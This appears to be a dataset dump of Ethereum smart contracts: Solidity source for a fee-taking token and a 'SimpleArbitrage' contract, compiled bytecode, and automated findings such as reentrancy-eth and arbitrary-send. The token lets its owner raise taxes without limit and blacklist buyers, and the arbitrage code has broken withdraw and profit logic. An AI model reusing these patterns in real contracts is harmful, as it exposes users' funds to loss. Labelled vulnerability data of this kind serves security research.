function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101f25760003560e01c80636d8aa8f81161010d578063881dce60116100a0578063a9059cbb1161006f578063a9059cbb14610599578063c5528490146105b9578063dd62ed3e146105d9578063ea1644d51461061f578063f2fde38b1461063f57600080fd5b8063881dce60146105185780638da5cb5b146105385780638f9a55c01461055657806395d89b411461056c57600080fd5b806374010ece116100dc57806374010ece146104b7578063790ca413146104d75780637c519ffb146104ed5780637d1db4a51461050257600080fd5b80636d8aa8f81461044d5780636fc3eaec1461046d57806370a0823114610482578063715018a6146104a257600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d85780634bf2c7c9146103f85780635996c6b0146104185780635d098b381461042d57600080fd5b80632fd689e314610366578063313ce5671461037c57806333251a0b1461039857806338eea22d146103b857600080fd5b806318160ddd116101c157806318160ddd146102e857806323b872dd1461030e57806327c8f8351461032e57806328bb665a1461034457600080fd5b806306fdde03146101fe578063095ea7b3146102475780630f3a325f146102775780631694505e146102b057600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600e81526d4c69717569642046696e616e636560901b60208201525b60405161023e9190611f5c565b60405180910390f35b34801561025357600080fd5b50610267610262366004611e07565b61065f565b604051901515815260200161023e565b34801561028357600080fd5b50610267610292366004611d53565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102bc57600080fd5b506016546102d0906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102f457600080fd5b50683635c9adc5dea000005b60405190815260200161023e565b34801561031a57600080fd5b50610267610329366004611dc6565b610676565b34801561033a57600080fd5b506102d061dead81565b34801561035057600080fd5b5061036461035f366004611e33565b6106df565b005b34801561037257600080fd5b50610300601a5481565b34801561038857600080fd5b506040516009815260200161023e565b3480156103a457600080fd5b506103646103b3366004611d53565b61077e565b3480156103c457600080fd5b506103646103d3366004611f3a565b6107ed565b3480156103e457600080fd5b506017546102d0906001600160a01b031681565b34801561040457600080fd5b50610364610413366004611f21565b610822565b34801561042457600080fd5b50610364610851565b34801561043957600080fd5b50610364610448366004611d53565b610a36565b34801561045957600080fd5b50610364610468366004611eff565b610a90565b34801561047957600080fd5b50610364610ad8565b34801561048e57600080fd5b5061030061049d366004611d53565b610b02565b3480156104ae57600080fd5b50610364610b24565b3480156104c357600080fd5b506103646104d2366004611f21565b610b98565b3480156104e357600080fd5b50610300600a5481565b3480156104f957600080fd5b50610364610bd6565b34801561050e57600080fd5b5061030060185481565b34801561052457600080fd5b50610364610533366004611f21565b610c30565b34801561054457600080fd5b506000546001600160a01b03166102d0565b34801561056257600080fd5b5061030060195481565b34801561057857600080fd5b506040805180820190915260048152634151554160e01b6020820152610231565b3480156105a557600080fd5b506102676105b4366004611e07565b610cac565b3480156105c557600080fd5b506103646105d4366004611f3a565b610cb9565b3480156105e557600080fd5b506103006105f4366004611d8d565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062b57600080fd5b5061036461063a366004611f21565b610cee565b34801561064b57600080fd5b5061036461065a366004611d53565b610d2c565b600061066c338484610e16565b5060015b92915050565b6000610683848484610f3a565b6106d584336106d085604051806060016040528060288152602001612161602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906115e6565b610e16565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b815260040161070990611fb1565b60405180910390fd5b60005b815181101561077a576001600960008484815181106107365761073661211f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610772816120ee565b915050610715565b5050565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161070990611fb1565b6001600160a01b03811660009081526009602052604090205460ff16156107ea576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108175760405162461bcd60e51b815260040161070990611fb1565b600b91909155600d55565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161070990611fb1565b601155565b6000546001600160a01b0316331461087b5760405162461bcd60e51b815260040161070990611fb1565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156108db57600080fd5b505afa1580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109139190611d70565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095b57600080fd5b505afa15801561096f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109939190611d70565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109db57600080fd5b505af11580156109ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a139190611d70565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6015546001600160a01b0316336001600160a01b031614610a5657600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b03163314610aba5760405162461bcd60e51b815260040161070990611fb1565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b031614610af857600080fd5b476107ea81611620565b6001600160a01b0381166000908152600260205260408120546106709061165a565b6000546001600160a01b03163314610b4e5760405162461bcd60e51b815260040161070990611fb1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610bc25760405162461bcd60e51b815260040161070990611fb1565b601854811015610bd157600080fd5b601855565b6000546001600160a01b03163314610c005760405162461bcd60e51b815260040161070990611fb1565b601754600160a01b900460ff1615610c1757600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610c5057600080fd5b610c5930610b02565b8111158015610c685750600081115b610ca35760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610709565b6107ea816116de565b600061066c338484610f3a565b6000546001600160a01b03163314610ce35760405162461bcd60e51b815260040161070990611fb1565b600c91909155600e55565b6000546001600160a01b03163314610d185760405162461bcd60e51b815260040161070990611fb1565b601954811015610d2757600080fd5b601955565b6000546001600160a01b03163314610d565760405162461bcd60e51b815260040161070990611fb1565b6001600160a01b038116610dbb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610709565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610709565b6001600160a01b038216610ed95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610709565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f9e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610709565b6001600160a01b0382166110005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610709565b600081116110625760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610709565b6001600160a01b03821660009081526009602052604090205460ff161561109b5760405162461bcd60e51b815260040161070990611fe6565b6001600160a01b03831660009081526009602052604090205460ff16156110d45760405162461bcd60e51b815260040161070990611fe6565b3360009081526009602052604090205460ff16156111045760405162461bcd60e51b815260040161070990611fe6565b6000546001600160a01b0384811691161480159061113057506000546001600160a01b03838116911614155b1561149057601754600160a01b900460ff1661118e5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610709565b6017546001600160a01b0383811691161480156111b957506016546001600160a01b03848116911614155b1561126b576001600160a01b03821630148015906111e057506001600160a01b0383163014155b80156111fa57506015546001600160a01b03838116911614155b801561121457506015546001600160a01b03848116911614155b1561126b5760185481111561126b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b6017546001600160a01b0383811691161480159061129757506015546001600160a01b03838116911614155b80156112ac57506001600160a01b0382163014155b80156112c357506001600160a01b03821661dead14155b1561138a5760185481111561131a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b6019548161132784610b02565b611331919061207e565b1061138a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610709565b600061139530610b02565b601a5490915081118080156113b45750601754600160a81b900460ff16155b80156113ce57506017546001600160a01b03868116911614155b80156113e35750601754600160b01b900460ff165b801561140857506001600160a01b03851660009081526006602052604090205460ff16155b801561142d57506001600160a01b03841660009081526006602052604090205460ff16155b1561148d57601154600090156114685761145d60646114576011548661186790919063ffffffff16565b906118e6565b905061146881611928565b61147a61147582856120d7565b6116de565b47801561148a5761148a47611620565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806114d257506001600160a01b03831660009081526006602052604090205460ff165b8061150457506017546001600160a01b0385811691161480159061150457506017546001600160a01b03848116911614155b15611511575060006115d4565b6017546001600160a01b03858116911614801561153c57506016546001600160a01b03848116911614155b15611597576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a541415611597576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115c257506016546001600160a01b03858116911614155b156115d457600d54600f55600e546010555b6115e084848484611935565b50505050565b6000818484111561160a5760405162461bcd60e51b81526004016107099190611f5c565b50600061161784866120d7565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561077a573d6000803e3d6000fd5b60006007548211156116c15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610709565b60006116cb611969565b90506116d783826118e6565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117265761172661211f565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561177a57600080fd5b505afa15801561178e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b29190611d70565b816001815181106117c5576117c561211f565b6001600160a01b0392831660209182029290920101526016546117eb9130911684610e16565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061182490859060009086903090429060040161200d565b600060405180830381600087803b15801561183e57600080fd5b505af1158015611852573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261187657506000610670565b600061188283856120b8565b90508261188f8583612096565b146116d75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610709565b60006116d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061198c565b6107ea3061dead83610f3a565b80611942576119426119ba565b61194d8484846119ff565b806115e0576115e0601254600f55601354601055601454601155565b6000806000611976611af6565b909250905061198582826118e6565b9250505090565b600081836119ad5760405162461bcd60e51b81526004016107099190611f5c565b5060006116178486612096565b600f541580156119ca5750601054155b80156119d65750601154155b156119dd57565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a1187611b38565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a439087611b95565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a729086611bd7565b6001600160a01b038916600090815260026020526040902055611a9481611c36565b611a9e8483611c80565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ae391815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611b1282826118e6565b821015611b2f57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611b558a600f54601054611ca4565b9250925092506000611b65611969565b90506000806000611b788e878787611cf3565b919e509c509a509598509396509194505050505091939550919395565b60006116d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115e6565b600080611be4838561207e565b9050838110156116d75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610709565b6000611c40611969565b90506000611c4e8383611867565b30600090815260026020526040902054909150611c6b9082611bd7565b30600090815260026020526040902055505050565b600754611c8d9083611b95565b600755600854611c9d9082611bd7565b6008555050565b6000808080611cb860646114578989611867565b90506000611ccb60646114578a89611867565b90506000611ce382611cdd8b86611b95565b90611b95565b9992985090965090945050505050565b6000808080611d028886611867565b90506000611d108887611867565b90506000611d1e8888611867565b90506000611d3082611cdd8686611b95565b939b939a50919850919650505050505050565b8035611d4e8161214b565b919050565b600060208284031215611d6557600080fd5b81356116d78161214b565b600060208284031215611d8257600080fd5b81516116d78161214b565b60008060408385031215611da057600080fd5b8235611dab8161214b565b91506020830135611dbb8161214b565b809150509250929050565b600080600060608486031215611ddb57600080fd5b8335611de68161214b565b92506020840135611df68161214b565b929592945050506040919091013590565b60008060408385031215611e1a57600080fd5b8235611e258161214b565b946020939093013593505050565b60006020808385031215611e4657600080fd5b823567ffffffffffffffff80821115611e5e57600080fd5b818501915085601f830112611e7257600080fd5b813581811115611e8457611e84612135565b8060051b604051601f19603f83011681018181108582111715611ea957611ea9612135565b604052828152858101935084860182860187018a1015611ec857600080fd5b600095505b83861015611ef257611ede81611d43565b855260019590950194938601938601611ecd565b5098975050505050505050565b600060208284031215611f1157600080fd5b813580151581146116d757600080fd5b600060208284031215611f3357600080fd5b5035919050565b60008060408385031215611f4d57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f8957858101830151858201604001528201611f6d565b81811115611f9b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561205d5784516001600160a01b031683529383019391830191600101612038565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561209157612091612109565b500190565b6000826120b357634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120d2576120d2612109565b500290565b6000828210156120e9576120e9612109565b500390565b600060001982141561210257612102612109565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ea57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f2cc318b631292c1221c689f4ad52f8390c1008ec98ad84be3c7850aea9519264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,184 |
0x7afae979d7bf4fac5d117f5abb1b9a152aaed419
|
/**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract SimpleArbitrage {
address public owner;
address public wethAddress;
address public daiAddress;
address public uniswapRouterAddress;
address public sushiswapRouterAddress;
uint256 public arbitrageAmount;
enum Exchange {
UNI,
SUSHI,
NONE
}
constructor(
address _uniswapRouterAddress,
address _sushiswapRouterAddress,
address _weth,
address _dai
) {
uniswapRouterAddress = _uniswapRouterAddress;
sushiswapRouterAddress = _sushiswapRouterAddress;
owner = msg.sender;
wethAddress = _weth;
daiAddress = _dai;
}
modifier onlyOwner() {
require(msg.sender == owner, "only owner can call this");
_;
}
function deposit(uint256 amount) public onlyOwner {
require(amount > 0, "Deposit amount must be greater than 0");
IERC20(wethAddress).transferFrom(msg.sender, address(this), amount);
arbitrageAmount += amount;
}
function withdraw(uint256 amount) public onlyOwner {
require(amount <= arbitrageAmount, "Not enough amount deposited");
IERC20(wethAddress).transferFrom(address(this), msg.sender, amount);
arbitrageAmount -= amount;
}
function makeArbitrage() public {
uint256 amountIn = arbitrageAmount;
Exchange result = _comparePrice(amountIn);
if (result == Exchange.UNI) {
// sell ETH in uniswap for DAI with high price and buy ETH from sushiswap with lower price
uint256 amountOut = _swap(
amountIn,
uniswapRouterAddress,
wethAddress,
daiAddress
);
uint256 amountFinal = _swap(
amountOut,
sushiswapRouterAddress,
daiAddress,
wethAddress
);
arbitrageAmount = amountFinal;
} else if (result == Exchange.SUSHI) {
// sell ETH in sushiswap for DAI with high price and buy ETH from uniswap with lower price
uint256 amountOut = _swap(
amountIn,
sushiswapRouterAddress,
wethAddress,
daiAddress
);
uint256 amountFinal = _swap(
amountOut,
uniswapRouterAddress,
daiAddress,
wethAddress
);
arbitrageAmount = amountFinal;
}
}
function _swap(
uint256 amountIn,
address routerAddress,
address sell_token,
address buy_token
) internal returns (uint256) {
IERC20(sell_token).approve(routerAddress, amountIn);
uint256 amountOutMin = (_getPrice(
routerAddress,
sell_token,
buy_token,
amountIn
) * 95) / 100;
address[] memory path = new address[](2);
path[0] = sell_token;
path[1] = buy_token;
uint256 amountOut = IUniswapV2Router02(routerAddress)
.swapExactTokensForTokens(
amountIn,
amountOutMin,
path,
address(this),
block.timestamp
)[1];
return amountOut;
}
function _comparePrice(uint256 amount) internal view returns (Exchange) {
uint256 uniswapPrice = _getPrice(
uniswapRouterAddress,
wethAddress,
daiAddress,
amount
);
uint256 sushiswapPrice = _getPrice(
sushiswapRouterAddress,
wethAddress,
daiAddress,
amount
);
// we try to sell ETH with higher price and buy it back with low price to make profit
if (uniswapPrice > sushiswapPrice) {
require(
_checkIfArbitrageIsProfitable(
amount,
uniswapPrice,
sushiswapPrice
),
"Arbitrage not profitable"
);
return Exchange.UNI;
} else if (uniswapPrice < sushiswapPrice) {
require(
_checkIfArbitrageIsProfitable(
amount,
sushiswapPrice,
uniswapPrice
),
"Arbitrage not profitable"
);
return Exchange.SUSHI;
} else {
return Exchange.NONE;
}
}
function _checkIfArbitrageIsProfitable(
uint256 amountIn,
uint256 higherPrice,
uint256 lowerPrice
) internal pure returns (bool) {
// uniswap & sushiswap have 0.3% fee for every exchange
// so gain made must be greater than 2 * 0.3% * arbitrage_amount
// difference in ETH
uint256 difference = (higherPrice - lowerPrice) / higherPrice;
uint256 payed_fee = (2 * (amountIn * 3)) / 1000;
if (difference > payed_fee) {
return true;
} else {
return false;
}
}
function _getPrice(
address routerAddress,
address sell_token,
address buy_token,
uint256 amount
) internal view returns (uint256) {
address[] memory pairs = new address[](2);
pairs[0] = sell_token;
pairs[1] = buy_token;
uint256 price = IUniswapV2Router02(routerAddress).getAmountsOut(
amount,
pairs
)[1];
return price;
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80632e1a7d4d116100665780632e1a7d4d146100f85780634f0e0ef31461010b5780638da5cb5b1461011e578063b6b55f2514610131578063c599e7b11461014457600080fd5b806319d0a9a21461009857806320ca3c7f146100c85780632ada23a6146100db5780632c387275146100e5575b600080fd5b6004546100ab906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6003546100ab906001600160a01b031681565b6100e361015b565b005b6002546100ab906001600160a01b031681565b6100e3610106366004610a72565b61025a565b6001546100ab906001600160a01b031681565b6000546100ab906001600160a01b031681565b6100e361013f366004610a72565b6103ab565b61014d60055481565b6040519081526020016100bf565b6005546000610169826104fb565b9050600081600281111561017f5761017f610bb2565b14156101e3576003546001546002546000926101ad9286926001600160a01b03928316929182169116610621565b6004546002546001549293506000926101d89285926001600160a01b03918216929082169116610621565b600555506102569050565b60018160028111156101f7576101f7610bb2565b1415610256576004546001546002546000926102259286926001600160a01b03928316929182169116610621565b6003546002546001549293506000926102509285926001600160a01b03918216929082169116610621565b60055550505b5050565b6000546001600160a01b031633146102b45760405162461bcd60e51b81526020600482015260186024820152776f6e6c79206f776e65722063616e2063616c6c207468697360401b60448201526064015b60405180910390fd5b6005548111156103065760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820616d6f756e74206465706f7369746564000000000060448201526064016102ab565b6001546040516323b872dd60e01b8152306004820152336024820152604481018390526001600160a01b03909116906323b872dd90606401602060405180830381600087803b15801561035857600080fd5b505af115801561036c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103909190610a50565b5080600560008282546103a39190610b85565b909155505050565b6000546001600160a01b031633146104005760405162461bcd60e51b81526020600482015260186024820152776f6e6c79206f776e65722063616e2063616c6c207468697360401b60448201526064016102ab565b6000811161045e5760405162461bcd60e51b815260206004820152602560248201527f4465706f73697420616d6f756e74206d75737420626520677265617465722074604482015264068616e20360dc1b60648201526084016102ab565b6001546040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b03909116906323b872dd90606401602060405180830381600087803b1580156104b057600080fd5b505af11580156104c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e89190610a50565b5080600560008282546103a39190610b2c565b6003546001546002546000928392610524926001600160a01b0392831692918216911686610800565b60045460015460025492935060009261054d926001600160a01b03908116928116911687610800565b9050808211156105b357610562848383610929565b6105a95760405162461bcd60e51b8152602060048201526018602482015277417262697472616765206e6f742070726f66697461626c6560401b60448201526064016102ab565b5060009392505050565b80821015610617576105c6848284610929565b61060d5760405162461bcd60e51b8152602060048201526018602482015277417262697472616765206e6f742070726f66697461626c6560401b60448201526064016102ab565b5060019392505050565b5060029392505050565b60405163095ea7b360e01b81526001600160a01b038481166004830152602482018690526000919084169063095ea7b390604401602060405180830381600087803b15801561066f57600080fd5b505af1158015610683573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a79190610a50565b50600060646106b88686868a610800565b6106c390605f610b66565b6106cd9190610b44565b6040805160028082526060820183529293506000929091602083019080368337019050509050848160008151811061070757610707610bc8565b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811061073b5761073b610bc8565b6001600160a01b0392831660209182029290920101526040516338ed173960e01b81526000918816906338ed173990610780908b908790879030904290600401610af0565b600060405180830381600087803b15801561079a57600080fd5b505af11580156107ae573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107d6919081019061098b565b6001815181106107e8576107e8610bc8565b60200260200101519050809350505050949350505050565b60408051600280825260608201835260009283929190602083019080368337019050509050848160008151811061083957610839610bc8565b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811061086d5761086d610bc8565b6001600160a01b03928316602091820292909201015260405163d06ca61f60e01b815260009188169063d06ca61f906108ac9087908690600401610acf565b60006040518083038186803b1580156108c457600080fd5b505afa1580156108d8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610900919081019061098b565b60018151811061091257610912610bc8565b602002602001015190508092505050949350505050565b600080836109378482610b85565b6109419190610b44565b905060006103e8610953876003610b66565b61095e906002610b66565b6109689190610b44565b90508082111561097d57600192505050610984565b6000925050505b9392505050565b6000602080838503121561099e57600080fd5b825167ffffffffffffffff808211156109b657600080fd5b818501915085601f8301126109ca57600080fd5b8151818111156109dc576109dc610bde565b8060051b604051601f19603f83011681018181108582111715610a0157610a01610bde565b604052828152858101935084860182860187018a1015610a2057600080fd5b600095505b83861015610a43578051855260019590950194938601938601610a25565b5098975050505050505050565b600060208284031215610a6257600080fd5b8151801515811461098457600080fd5b600060208284031215610a8457600080fd5b5035919050565b600081518084526020808501945080840160005b83811015610ac45781516001600160a01b031687529582019590820190600101610a9f565b50949594505